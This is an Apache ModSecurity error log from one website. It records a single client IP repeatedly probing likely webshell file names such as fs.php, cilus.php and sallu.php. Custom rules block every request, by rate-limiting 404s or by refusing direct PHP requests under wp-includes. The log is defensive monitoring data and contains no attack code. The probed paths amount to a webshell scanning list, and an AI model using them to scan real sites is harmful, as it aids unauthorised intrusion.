[Sat Apr 18 06:21:49.714816 2026] [:error] [pid 13023:tid 13039] [client 20.203.143.130:6009] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeKyff1e7hG8DAeABB_94AAAAQ4"]
[Sat Apr 18 06:21:50.882104 2026] [:error] [pid 9865:tid 9945] [client 20.203.143.130:6001] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeKyfqzb5knECIY-C-i1TQAAAIg"]
[Sat Apr 18 06:21:51.551426 2026] [:error] [pid 9865:tid 9941] [client 20.203.143.130:6066] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeKyf6zb5knECIY-C-i1TwAAAIQ"]
[Sat Apr 18 06:21:52.334494 2026] [:error] [pid 9865:tid 9955] [client 20.203.143.130:6011] [client 20.203.143.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeKygKzb5knECIY-C-i1VAAAAJI"]
[Sat Apr 18 06:21:53.812979 2026] [:error] [pid 13023:tid 13025] [client 20.203.143.130:6047] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeKygf1e7hG8DAeABB_96QAAAQA"]
[Sat Apr 18 06:21:54.663214 2026] [:error] [pid 9970:tid 9990] [client 20.203.143.130:5896] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeKygiYdRLRhVmaIMx3ZfwAAANA"]
[Sat Apr 18 06:21:55.638494 2026] [:error] [pid 9970:tid 9993] [client 20.203.143.130:5916] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeKygyYdRLRhVmaIMx3ZgwAAANM"]
[Sat Apr 18 06:21:56.646474 2026] [:error] [pid 13023:tid 13048] [client 20.203.143.130:5904] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeKyhP1e7hG8DAeABB_97wAAARc"]
[Sat Apr 18 06:21:57.362163 2026] [:error] [pid 13023:tid 13038] [client 20.203.143.130:18129] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeKyhf1e7hG8DAeABB_98wAAAQ0"]
[Sat Apr 18 06:21:58.248421 2026] [:error] [pid 13023:tid 13034] [client 20.203.143.130:5960] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeKyhv1e7hG8DAeABB_99QAAAQk"]
[Sat Apr 18 06:21:59.160558 2026] [:error] [pid 9970:tid 9974] [client 20.203.143.130:5888] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeKyhyYdRLRhVmaIMx3ZigAAAMA"]
[Sat Apr 18 06:21:59.869369 2026] [:error] [pid 9863:tid 9879] [client 20.203.143.130:5930] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aeKyhzjjiypiFrTucbIV4QAAAAY"]
[Sat Apr 18 06:22:08.048941 2026] [:error] [pid 9864:tid 9906] [client 20.203.143.130:6061] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeKykICFeowknfXHM7k_TwAAAEE"]
[Sat Apr 18 06:22:08.984285 2026] [:error] [pid 13023:tid 13027] [client 20.203.143.130:5892] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeKykP1e7hG8DAeABB_-AQAAAQI"]
[Sat Apr 18 06:22:09.927511 2026] [:error] [pid 9970:tid 9994] [client 20.203.143.130:6013] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeKykSYdRLRhVmaIMx3ZpgAAANQ"]
[Sat Apr 18 06:22:10.491609 2026] [:error] [pid 9864:tid 9909] [client 20.203.143.130:6034] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeKykoCFeowknfXHM7k_UQAAAEQ"]
[Sat Apr 18 06:22:11.139045 2026] [:error] [pid 9970:tid 9981] [client 20.203.143.130:6078] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aeKykyYdRLRhVmaIMx3ZsAAAAMc"]
[Sat Apr 18 06:22:11.698207 2026] [:error] [pid 9970:tid 9977] [client 20.203.143.130:5908] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aeKykyYdRLRhVmaIMx3ZtwAAAMM"]
[Sat Apr 18 06:22:12.287947 2026] [:error] [pid 9970:tid 9997] [client 20.203.143.130:5975] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aeKylCYdRLRhVmaIMx3ZvgAAANc"]
[Sat Apr 18 06:22:12.803111 2026] [:error] [pid 9864:tid 9916] [client 20.203.143.130:6138] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aeKylICFeowknfXHM7k_VAAAAEo"]
[Sat Apr 18 06:22:13.332687 2026] [:error] [pid 9864:tid 9913] [client 20.203.143.130:5895] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aeKylYCFeowknfXHM7k_VQAAAEc"]
[Sat Apr 18 06:22:13.882921 2026] [:error] [pid 9970:tid 9993] [client 20.203.143.130:5864] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aeKylSYdRLRhVmaIMx3ZygAAANM"]
[Sat Apr 18 06:22:14.815738 2026] [:error] [pid 9970:tid 9997] [client 20.203.143.130:6142] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aeKyliYdRLRhVmaIMx3ZzQAAANc"]
[Sat Apr 18 06:22:15.688187 2026] [:error] [pid 9864:tid 9915] [client 20.203.143.130:5840] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aeKyl4CFeowknfXHM7k_WgAAAEk"]
[Sat Apr 18 06:22:16.766194 2026] [:error] [pid 9864:tid 9917] [client 20.203.143.130:5763] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeKymICFeowknfXHM7k_XgAAAEs"]
[Sat Apr 18 06:22:17.506910 2026] [:error] [pid 9970:tid 9981] [client 20.203.143.130:5912] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeKymSYdRLRhVmaIMx3Z2wAAAMc"]
[Sat Apr 18 06:22:18.314293 2026] [:error] [pid 13023:tid 13048] [client 20.203.143.130:6017] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeKymv1e7hG8DAeABB_-BwAAARc"]
[Sat Apr 18 06:22:18.995352 2026] [:error] [pid 9865:tid 9948] [client 20.203.143.130:5931] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeKymqzb5knECIY-C-i1fgAAAIs"]
[Sat Apr 18 06:22:19.805719 2026] [:error] [pid 9970:tid 9985] [client 20.203.143.130:5842] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeKymyYdRLRhVmaIMx3Z3QAAAMs"]
[Sat Apr 18 06:22:20.389673 2026] [:error] [pid 9970:tid 9982] [client 20.203.143.130:5968] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeKynCYdRLRhVmaIMx3Z3gAAAMg"]
[Sat Apr 18 06:22:21.000068 2026] [:error] [pid 9863:tid 9878] [client 20.203.143.130:5890] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeKynDjjiypiFrTucbIV9wAAAAU"]
[Sat Apr 18 06:22:22.043757 2026] [:error] [pid 9970:tid 9988] [client 20.203.143.130:5959] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeKyniYdRLRhVmaIMx3Z4wAAAM4"]
[Sat Apr 18 06:22:22.536055 2026] [:error] [pid 9970:tid 9975] [client 20.203.143.130:5969] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/curl.php"] [unique_id "aeKyniYdRLRhVmaIMx3Z5QAAAME"]
[Sat Apr 18 06:22:23.072133 2026] [:error] [pid 9970:tid 9976] [client 20.203.143.130:5938] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/curl.php"] [unique_id "aeKynyYdRLRhVmaIMx3Z6gAAAMI"]
[Sat Apr 18 06:22:23.640981 2026] [:error] [pid 9970:tid 9995] [client 20.203.143.130:5900] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/curl.php"] [unique_id "aeKynyYdRLRhVmaIMx3Z6wAAANU"]
[Sat Apr 18 06:22:24.189580 2026] [:error] [pid 9970:tid 9982] [client 20.203.143.130:5973] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/curl.php"] [unique_id "aeKyoCYdRLRhVmaIMx3Z8gAAAMg"]
[Sat Apr 18 06:22:24.894498 2026] [:error] [pid 9970:tid 9988] [client 20.203.143.130:5948] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeKyoCYdRLRhVmaIMx3Z8wAAAM4"]
[Sat Apr 18 06:22:25.796038 2026] [:error] [pid 9970:tid 9997] [client 20.203.143.130:6003] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeKyoSYdRLRhVmaIMx3Z-QAAANc"]
[Sat Apr 18 06:22:26.410676 2026] [:error] [pid 9863:tid 9890] [client 20.203.143.130:6045] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeKyojjjiypiFrTucbIV-gAAABE"]
[Sat Apr 18 06:22:27.347063 2026] [:error] [pid 13023:tid 13044] [client 20.203.143.130:5915] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeKyo_1e7hG8DAeABB_-EwAAARM"]
[Sat Apr 18 06:22:28.018778 2026] [:error] [pid 9863:tid 9889] [client 20.203.143.130:5891] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeKypDjjiypiFrTucbIV-wAAABA"]
[Sat Apr 18 06:22:28.734543 2026] [:error] [pid 13023:tid 13042] [client 20.203.143.130:6072] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeKypP1e7hG8DAeABB_-GAAAARE"]
[Sat Apr 18 06:22:30.443726 2026] [:error] [pid 13023:tid 13036] [client 20.203.143.130:5826] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeKypv1e7hG8DAeABB_-HgAAAQs"]
[Sat Apr 18 06:22:33.325731 2026] [:error] [pid 13023:tid 13025] [client 20.203.143.130:5922] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeKyqf1e7hG8DAeABB_-KAAAAQA"]
[Sat Apr 18 06:22:35.557842 2026] [:error] [pid 9970:tid 9981] [client 20.203.143.130:5993] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKyqyYdRLRhVmaIMx3aCAAAAMc"]
[Sat Apr 18 06:22:37.448170 2026] [:error] [pid 13023:tid 13026] [client 20.203.143.130:5911] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKyrf1e7hG8DAeABB_-KQAAAQE"]
[Sat Apr 18 06:22:38.019532 2026] [:error] [pid 13023:tid 13048] [client 20.203.143.130:5775] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKyrv1e7hG8DAeABB_-LAAAARc"]
[Sat Apr 18 06:22:38.701037 2026] [:error] [pid 9865:tid 9943] [client 20.203.143.130:5954] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKyrqzb5knECIY-C-i1igAAAIY"]
[Sat Apr 18 06:22:40.065396 2026] [:error] [pid 9865:tid 9947] [client 20.203.143.130:5951] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeKysKzb5knECIY-C-i1jAAAAIo"]
[Sat Apr 18 06:22:40.988500 2026] [:error] [pid 13023:tid 13028] [client 20.203.143.130:5976] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeKysP1e7hG8DAeABB_-NQAAAQM"]
[Sat Apr 18 06:22:41.951155 2026] [:error] [pid 9970:tid 9979] [client 20.203.143.130:5843] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeKysSYdRLRhVmaIMx3aGAAAAMU"]
[Sat Apr 18 06:22:42.520624 2026] [:error] [pid 9864:tid 9926] [client 20.203.143.130:5992] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeKysoCFeowknfXHM7k_igAAAFQ"]
[Sat Apr 18 06:22:43.027633 2026] [:error] [pid 13023:tid 13026] [client 20.203.143.130:5832] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeKys_1e7hG8DAeABB_-PgAAAQE"]
[Sat Apr 18 06:22:43.650146 2026] [:error] [pid 13023:tid 13048] [client 20.203.143.130:6008] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeKys_1e7hG8DAeABB_-PwAAARc"]
[Sat Apr 18 06:22:44.197454 2026] [:error] [pid 9865:tid 9942] [client 20.203.143.130:5902] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeKytKzb5knECIY-C-i1mAAAAIU"]
